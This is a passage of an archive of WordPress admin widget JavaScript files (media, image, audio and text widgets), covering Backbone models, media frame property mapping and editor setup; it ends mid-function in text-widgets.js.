.media-menu-item.active' ).focus(); }, /** * Get the instance props from the media selection frame. * * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame. * @return {Object} Props. */ getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) { var control = this, state, mediaFrameProps, modelProps; state = mediaFrame.state(); if ( 'insert' === state.get( 'id' ) ) { mediaFrameProps = state.get( 'selection' ).first().toJSON(); mediaFrameProps.postUrl = mediaFrameProps.link; if ( control.showDisplaySettings ) { _.extend( mediaFrameProps, mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON() ); } if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) { mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url; } } else if ( 'embed' === state.get( 'id' ) ) { mediaFrameProps = _.extend( state.props.toJSON(), { attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`. control.model.getEmbedResetProps() ); } else { throw new Error( 'Unexpected state: ' + state.get( 'id' ) ); } if ( mediaFrameProps.id ) { mediaFrameProps.attachment_id = mediaFrameProps.id; } modelProps = control.mapMediaToModelProps( mediaFrameProps ); // Clear the extension prop so sources will be reset for video and audio media. _.each( wp.media.view.settings.embedExts, function( ext ) { if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) { modelProps[ ext ] = ''; } }); return modelProps; }, /** * Map media frame props to model props. * * @param {Object} mediaFrameProps - Media frame props. * @return {Object} Model props. */ mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) { var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension; _.each( control.model.schema, function( fieldSchema, modelProp ) { // Ignore widget title attribute. if ( 'title' === modelProp ) { return; } mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp; }); _.each( mediaFrameProps, function( value, mediaProp ) { var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp; if ( control.model.schema[ propName ] ) { modelProps[ propName ] = value; } }); if ( 'custom' === mediaFrameProps.size ) { modelProps.width = mediaFrameProps.customWidth; modelProps.height = mediaFrameProps.customHeight; } if ( 'post' === mediaFrameProps.link ) { modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl; } else if ( 'file' === mediaFrameProps.link ) { modelProps.link_url = mediaFrameProps.url; } // Because some media frames use `id` instead of `attachment_id`. if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) { modelProps.attachment_id = mediaFrameProps.id; } if ( mediaFrameProps.url ) { extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase(); if ( extension in control.model.schema ) { modelProps[ extension ] = mediaFrameProps.url; } } // Always omit the titles derived from mediaFrameProps. return _.omit( modelProps, 'title' ); }, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps = {}; _.each( modelProps, function( value, modelProp ) { var fieldSchema = control.model.schema[ modelProp ] || {}; mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value; }); // Some media frames use attachment_id. mediaFrameProps.attachment_id = mediaFrameProps.id; if ( 'custom' === mediaFrameProps.size ) { mediaFrameProps.customWidth = control.model.get( 'width' ); mediaFrameProps.customHeight = control.model.get( 'height' ); } return mediaFrameProps; }, /** * Map model props to previewTemplateProps. * * @return {Object} Preview Template Props. */ mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() { var control = this, previewTemplateProps = {}; _.each( control.model.schema, function( value, prop ) { if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) { previewTemplateProps[ prop ] = control.model.get( prop ); } }); // Templates need to be aware of the error. previewTemplateProps.error = control.model.get( 'error' ); return previewTemplateProps; }, /** * Open the media frame to modify the selected item. * * @abstract * @return {void} */ editMedia: function editMedia() { throw new Error( 'editMedia not implemented' ); } }); /** * Media widget model. * * @class wp.mediaWidgets.MediaWidgetModel * @augments Backbone.Model */ component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{ /** * Id attribute. * * @type {string} */ idAttribute: 'widget_id', /** * Instance schema. * * This adheres to JSON Schema and subclasses should have their schema * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {Object.} */ schema: { title: { type: 'string', 'default': '' }, attachment_id: { type: 'integer', 'default': 0 }, url: { type: 'string', 'default': '' } }, /** * Get default attribute values. * * @return {Object} Mapping of property names to their default values. */ defaults: function() { var defaults = {}; _.each( this.schema, function( fieldSchema, field ) { defaults[ field ] = fieldSchema['default']; }); return defaults; }, /** * Set attribute value(s). * * This is a wrapped version of Backbone.Model#set() which allows us to * cast the attribute values from the hidden inputs' string values into * the appropriate data types (integers or booleans). * * @param {string|Object} key - Attribute name or attribute pairs. * @param {mixed|Object} [val] - Attribute value or options object. * @param {Object} [options] - Options when attribute name and value are passed separately. * @return {wp.mediaWidgets.MediaWidgetModel} This model. */ set: function set( key, val, options ) { var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this if ( null === key ) { return model; } if ( 'object' === typeof key ) { attrs = key; opts = val; } else { attrs = {}; attrs[ key ] = val; opts = options; } castedAttrs = {}; _.each( attrs, function( value, name ) { var type; if ( ! model.schema[ name ] ) { castedAttrs[ name ] = value; return; } type = model.schema[ name ].type; if ( 'array' === type ) { castedAttrs[ name ] = value; if ( ! _.isArray( castedAttrs[ name ] ) ) { castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list. } if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) { castedAttrs[ name ] = _.filter( _.map( castedAttrs[ name ], function( id ) { return parseInt( id, 10 ); }, function( id ) { return 'number' === typeof id; } ) ); } } else if ( 'integer' === type ) { castedAttrs[ name ] = parseInt( value, 10 ); } else if ( 'boolean' === type ) { castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value ); } else { castedAttrs[ name ] = value; } }); return Backbone.Model.prototype.set.call( this, castedAttrs, opts ); }, /** * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment). * * @return {Object} Reset/override props. */ getEmbedResetProps: function getEmbedResetProps() { return { id: 0 }; } }); /** * Collection of all widget model instances. * * @memberOf wp.mediaWidgets * * @type {Backbone.Collection} */ component.modelCollection = new ( Backbone.Collection.extend( { model: component.MediaWidgetModel }) )(); /** * Mapping of widget ID to instances of MediaWidgetControl subclasses. * * @memberOf wp.mediaWidgets * * @type {Object.} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.mediaWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); widgetId = widgetForm.find( '> .widget-id' ).val(); // Prevent initializing already-added widgets. if ( component.widgetControls[ widgetId ] ) { return; } ControlConstructor = component.controlConstructors[ idBase ]; if ( ! ControlConstructor ) { return; } ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel; /* * Create a container element for the widget control (Backbone.View). * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '

' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); /* * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state. * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model * from the start, without having to sync with hidden fields. See . */ modelAttributes = {}; syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ); modelAttributes[ input.data( 'property' ) ] = input.val(); }); modelAttributes.widget_id = widgetId; widgetModel = new ModelConstructor( modelAttributes ); widgetControl = new ControlConstructor({ el: fieldContainer, syncContainer: syncContainer, model: widgetModel }); /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the container's dimensions are fixed so that ME.js * can initialize with the proper dimensions. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.render(); } }; renderWhenAnimationDone(); /* * Note that the model and control currently won't ever get garbage-collected * when a widget gets removed/deleted because there is no widget-removed event. */ component.modelCollection.add( [ widgetModel ] ); component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl; }; /** * Setup widget in accessibility mode. * * @memberOf wp.mediaWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); ControlConstructor = component.controlConstructors[ idBase ]; if ( ! ControlConstructor ) { return; } widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val(); ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel; fieldContainer = $( '
' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); modelAttributes = {}; syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ); modelAttributes[ input.data( 'property' ) ] = input.val(); }); modelAttributes.widget_id = widgetId; widgetControl = new ControlConstructor({ el: fieldContainer, syncContainer: syncContainer, model: new ModelConstructor( modelAttributes ) }); component.modelCollection.add( [ widgetControl.model ] ); component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl; widgetControl.render(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.mediaWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetContent, widgetId, widgetControl, attributes = {}; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } // Make sure the server-sanitized values get synced back into the model. widgetContent = widgetForm.find( '> .widget-content' ); widgetContent.find( '.media-widget-instance-property' ).each( function() { var property = $( this ).data( 'property' ); attributes[ property ] = $( this ).val(); }); // Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop. widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs ); widgetControl.model.set( attributes ); widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs ); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.mediaWidgets.init(). * * @memberOf wp.mediaWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery ); media-image-widget.min.js000064400000003750147102520270011311 0ustar00/*! This file is auto-generated */ !function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery);media-widgets.min.js000064400000033641147102520270010416 0ustar00/*! This file is auto-generated */ wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("

",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0 .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("

"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("
"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery);media-audio-widget.js000064400000010274147102520270010545 0ustar00/** * @output wp-admin/js/widgets/media-audio-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame; /** * Custom audio details frame that removes the replace-audio state. * * @class wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame * @augments wp.media.view.MediaFrame.AudioDetails */ AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.AudioDetails({ media: this.media }), new wp.media.controller.MediaLibrary({ type: 'audio', id: 'add-audio-source', title: wp.media.view.l10n.audioAddSourceTitle, toolbar: 'add-audio-source', media: this.media, menu: false }) ]); } }); /** * Audio widget model. * * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetModel */ AudioWidgetModel = component.MediaWidgetModel.extend({}); /** * Audio widget control. * * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetControl */ AudioWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_audio.prototype */{ /** * Show display settings. * * @type {boolean} */ showDisplaySettings: false, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps; mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps ); mediaFrameProps.link = 'embed'; return mediaFrameProps; }, /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl; attachmentId = control.model.get( 'attachment_id' ); attachmentUrl = control.model.get( 'url' ); if ( ! attachmentId && ! attachmentUrl ) { return; } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-audio-preview' ); previewContainer.html( previewTemplate({ model: { attachment_id: control.model.get( 'attachment_id' ), src: attachmentUrl }, error: control.model.get( 'error' ) })); wp.mediaelement.initialize(); }, /** * Open the media audio-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, metadata, updateCallback; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Set up the media frame. mediaFrame = new AudioDetailsMediaFrame({ frame: 'audio', state: 'audio-details', metadata: metadata }); wp.media.frame = mediaFrame; mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function( mediaFrameProps ) { // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. control.selectedAttachment.set( mediaFrameProps ); control.model.set( _.extend( control.model.defaults(), control.mapMediaToModelProps( mediaFrameProps ), { error: false } ) ); }; mediaFrame.state( 'audio-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback ); mediaFrame.on( 'close', function() { mediaFrame.detach(); }); mediaFrame.open(); } }); // Exports. component.controlConstructors.media_audio = AudioWidgetControl; component.modelConstructors.media_audio = AudioWidgetModel; })( wp.mediaWidgets ); text-widgets.js000064400000043201147102520270007532 0ustar00/** * @output wp-admin/js/widgets/text-widgets.js */ /* global tinymce, switchEditors */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.textWidgets */ wp.textWidgets = ( function( $ ) { 'use strict'; var component = { dismissedPointers: [], idBases: [ 'text' ] }; component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.textWidgets.TextWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.$el.addClass( 'text-widget-fields' ); control.$el.html( wp.template( 'widget-text-control-fields' ) ); control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' ); if ( control.customHtmlWidgetPointer.length ) { control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); $( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' ); control.dismissPointers( [ 'text_widget_custom_html' ] ); }); control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); control.openAvailableWidgetsPanel(); }); } control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' ); if ( control.pasteHtmlPointer.length ) { control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.pasteHtmlPointer.hide(); control.editor.focus(); control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] ); }); } control.fields = { title: control.$el.find( '.title' ), text: control.$el.find( '.text' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Dismiss pointers for Custom HTML widget. * * @since 4.8.1 * * @param {Array} pointers Pointer IDs to dismiss. * @return {void} */ dismissPointers: function dismissPointers( pointers ) { _.each( pointers, function( pointer ) { wp.ajax.post( 'dismiss-wp-pointer', { pointer: pointer }); component.dismissedPointers.push( pointer ); }); }, /** * Open available widgets panel. * * @since 4.8.1 * @return {void} */ openAvailableWidgetsPanel: function openAvailableWidgetsPanel() { var sidebarControl; wp.customize.section.each( function( section ) { if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) { sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' ); } }); if ( ! sidebarControl ) { return; } setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse. wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl ); wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } syncInput = control.syncContainer.find( '.sync-input.text' ); if ( control.fields.text.is( ':visible' ) ) { if ( ! control.fields.text.is( document.activeElement ) ) { control.fields.text.val( syncInput.val() ); } } else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) { control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue; textarea = control.fields.text; id = textarea.attr( 'id' ); previousValue = textarea.val(); /** * Trigger change if dirty. * * @return {void} */ triggerChangeIfDirty = function() { var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced. if ( control.editor.isDirty() ) { /* * Account for race condition in customizer where user clicks Save & Publish while * focus was just previously given to the editor. Since updates to the editor * are debounced at 1 second and since widget input changes are only synced to * settings after 250ms, the customizer needs to be put into the processing * state during the time between the change event is triggered and updateWidget * logic starts. Note that the debounced update-widget request should be able * to be removed with the removal of the update-widget request entirely once * widgets are able to mutate their own instance props directly in JS without * having to make server round-trips to call the respective WP_Widget::update() * callbacks. See . */ if ( wp.customize && wp.customize.state ) { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 ); _.delay( function() { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 ); }, updateWidgetBuffer ); } if ( ! control.editor.isHidden() ) { control.editor.save(); } } // Trigger change on textarea when it has changed so the widget can enter a dirty state. if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) { textarea.trigger( 'change' ); needsTextareaChangeTrigger = false; previousValue = textarea.val(); } }; // Just-in-time force-update the hidden input fields. control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() { triggerChangeIfDirty(); }); /** * Build (or re-build) the visual editor. * * @return {void} */ function buildEditor() { var editor, onInit, showPointerElement; // Abort building if the textarea is gone, likely due to the widget having been deleted entirely. if ( ! document.getElementById( id ) ) { return; } // The user has disabled TinyMCE. if ( typeof window.tinymce === 'undefined' ) { wp.oldEditor.initialize( id, { quicktags: true, mediaButtons: true }); return; } // Destroy any existing editor so that it can be re-initialized after a widget-updated event. if ( tinymce.get( id ) ) { restoreTextMode = tinymce.get( id ).isHidden(); wp.oldEditor.remove( id ); } // Add or enable the `wpview` plugin. $( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) { // If somebody has removed all plugins, they must have a good reason. // Keep it that way. if ( ! init.plugins ) { return; } else if ( ! /\bwpview\b/.test( init.plugins ) ) { init.plugins += ',wpview'; } } ); wp.oldEditor.initialize( id, { tinymce: { wpautop: true }, quicktags: true, mediaButtons: true }); /** * Show a pointer, focus on dismiss, and speak the contents for a11y. * * @param {jQuery} pointerElement Pointer element. * @return {void} */ showPointerElement = function( 